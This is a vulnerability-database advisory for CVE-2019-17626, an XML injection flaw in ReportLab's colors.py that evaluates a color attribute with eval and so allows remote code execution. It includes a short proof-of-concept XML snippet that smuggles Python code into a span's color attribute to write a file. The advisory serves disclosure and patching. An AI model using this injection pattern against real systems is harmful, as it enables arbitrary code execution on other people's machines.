#VU24685 XML injection in ReportLab - CVE-2019-17626 

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Main Vulnerability Database Vulnerabilities #VU24685

#VU24685 XML injection in ReportLab - CVE-2019-17626

Published: January 27, 2020


Vulnerability identifier: #VU24685
Vulnerability risk: High
CVSSv4.0: CVSS:4.0/AV:N/AC:L/AT:N/PR:N/UI:N/VC:H/VI:H/VA:H/SC:N/SI:N/SA:N/E:P/U:Amber
CVE-ID: CVE-2019-17626
CWE-ID: CWE-91
Exploitation vector: Remote access
Exploit availability: No public exploit available
Vulnerable software:
ReportLab
Software vendor:
ReportLab, Inc.

Description

The vulnerability allows a remote attacker to execute arbitrary code on the target system.

The vulnerability exists due to the affected software does not properly handle user-supplied XML files within the "toColor(eval(arg))" in colors.py. A remote unauthenticated attacker can execute arbitrary code on the target system.

Successful exploitation of this vulnerability may result in complete compromise of vulnerable system.

PoC:

<myroot>
    <label>hello-world</label>
    <row1>
            <html>
                <span color="open('/tmp/colors_poc.txt','wb').write('hello world!')">abcdef</span>
            </html>
    </row1>
</myroot>

Remediation

Install updates from vendor's website.

External links